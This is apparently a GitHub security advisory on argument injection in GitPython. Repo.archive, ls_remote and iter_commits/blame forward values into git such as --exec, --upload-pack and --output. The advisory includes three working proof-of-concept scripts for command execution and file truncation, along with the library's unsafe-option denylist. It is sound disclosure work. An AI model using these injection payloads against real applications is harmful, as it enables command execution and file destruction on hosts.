GHSA-956x-8gvw-wg5v

## Summary

GitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, …) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`.

That enforcement is only wired into the **network** commands — `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**:

1. **`Repo.archive(ostream, treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`. An attacker-influenced options mapping such as `{"remote": ".", "exec": "<cmd>"}` becomes `git archive --remote=. --exec=<cmd> -- <treeish>`, and `git archive --remote=<local repo>` invokes `git-upload-archive` whose path is overridden by `--exec` → **arbitrary command execution under default Git configuration** (no `protocol.ext.allow` needed).

2. **`repo.git.ls_remote(<url>, upload_pack="<cmd>")`** (and the dynamic-command builder generally) turns the `upload_pack` kwarg into `--upload-pack=<cmd>` with no guard → **arbitrary command execution**.

3. **`Repo.iter_commits(rev)`** and **`Repo.blame(rev, file)`** place the caller's `rev` value into the argv *before* the `--` end-of-options separator and apply no leading-dash check. A benign-looking ref value such as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the `--output` option, which **opens and truncates an arbitrary file** before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).

The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the `check_unsafe_options` / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.

## Details

GitPython explicitly recognises these options as command-execution vectors. `git/remote.py:535`:

```python unsafe_git_fetch_options = [ # Arbitrary command execution. "--upload-pack", "--receive-pack", # Arbitrary file overwrite. "--exec", ] ```

and enforces them via `Git.check_unsafe_options()` (`git/cmd.py:963`):

```python def check_unsafe_options(cls, options, unsafe_options): ... if unsafe_option is not None: raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.") ```

But `check_unsafe_options` is invoked from **only five sites**, all network commands:

``` git/remote.py:1071 Remote.fetch git/remote.py:1125 Remote.pull git/remote.py:1198 Remote.push git/repo/base.py:1410 / :1412 Repo.clone_from ```

The following sinks call `git` with caller-controlled options/positionals and are **not** guarded:

### 1. `Repo.archive` — command execution (`git/repo/base.py:1623`)

```python def archive(self, ostream, treeish=None, prefix=None, **kwargs): ... self.git.archive("--", treeish, *path, **kwargs) return self ```

`treeish` and `path` are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg` (`git/cmd.py:1487`) into `--<name>=<value>` flags and inserted **before** the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive` already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding a caller options mapping is an expected usage. Final argv:

``` git archive --remote=. --exec=<cmd> -- <treeish> ```

`git archive --remote=<repo>` runs the upload-archive helper; `--exec=<cmd>` overrides the helper path, executing `<cmd>` on the host. This works with **default Git config** — it does not rely on the `ext::` transport (which is blocked by default).

### 2. `repo.git.ls_remote(..., upload_pack=...)` — command execution (dynamic builder, `git/cmd.py:1487`)

`transform_kwarg` dashifies `upload_pack` → `--upload-pack=<value>`. `git ls-remote <local-repo> --upload-pack=<cmd>` executes `<cmd>`. The dynamic builder makes **both** the flag name and value caller-controlled (`repo.git.<anything>(**user_dict)`), and `ls_remote` has no `check_unsafe_options`.

This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` — but `ls_remote` and the rest of the dynamic surface were left unpatched.

### 3. `Repo.iter_commits` / `Repo.blame` — arbitrary file overwrite (`git/objects/commit.py:348`, `git/repo/base.py:1199`)

```python # Commit.iter_items (reached via Repo.iter_commits) proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == ["--", *paths] ```

```python # Repo.blame data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs) ```

`rev` is placed **before** `--`, with no leading-dash check anywhere in the path. A caller passing `rev="--output=/path"` (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:

``` git rev-list --output=/path -- ```

`git rev-list`/`log`/`blame` honour `--output=<file>`, which `open()`s and truncates the file *before* validating the revision — so the file is destroyed even though Git then errors out on the bad revision.

## PoC

All three PoCs are self-contained, run against the released **GitPython 3.1.50** under **default Git configuration**, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.

### Install

```bash python3 -m venv venv && . venv/bin/activate pip install GitPython # resolves to 3.1.50 python -c "import git; print(git.__version__)" # 3.1.50 ```

### PoC 1 — command execution via `Repo.archive`

```python # archive_rce.py import io, os, tempfile, subprocess, git

d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d)

marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker') if os.path.exists(marker): os.remove(marker)

# a service lets a user export a repo and forwards their options dict opts = {'remote': '.', 'exec': 'touch ' + marker} try: repo.archive(io.BytesIO(), **opts) except git.exc.GitCommandError as e: print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])

print('[+] marker present:', os.path.exists(marker)) ```

Verbatim output:

``` [*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128) [+] marker present: True ```

`git config --get protocol.ext.allow` returns nothing (unset = default), confirming no special config is required.

### PoC 2 — command execution via `git.ls_remote(upload_pack=...)`

```python # lsremote_rce.py import os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker') if os.path.exists(marker): os.remove(marker) try: repo.git.ls_remote('.', upload_pack='touch '+marker+';') except git.exc.GitCommandError as e: print('[*] git err:', str(e).splitlines()[0][:50]) print('[+] ls-remote marker present:', os.path.exists(marker)) ```

Verbatim output:

``` [*] git err: Cmd('git') failed due to: exit code(128) [+] ls-remote marker present: True ```

### PoC 3 — arbitrary file overwrite via a benign-looking `rev`

```python # itercommits_filewrite.py import os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim') open(victim,'w').write('do not delete\n') print('[*] before:', repr(open(victim).read())) user_ref = '--output=' + victim # value an app forwards as a "ref/branch" try: list(repo.iter_commits(user_ref)) except git.exc.GitCommandError as e: print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50]) print('[+] after :', repr(open(victim).read()), '<- truncated') ```

Verbatim output:

``` [*] before: 'do not delete\n' [*] git err (after open+truncate): Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ```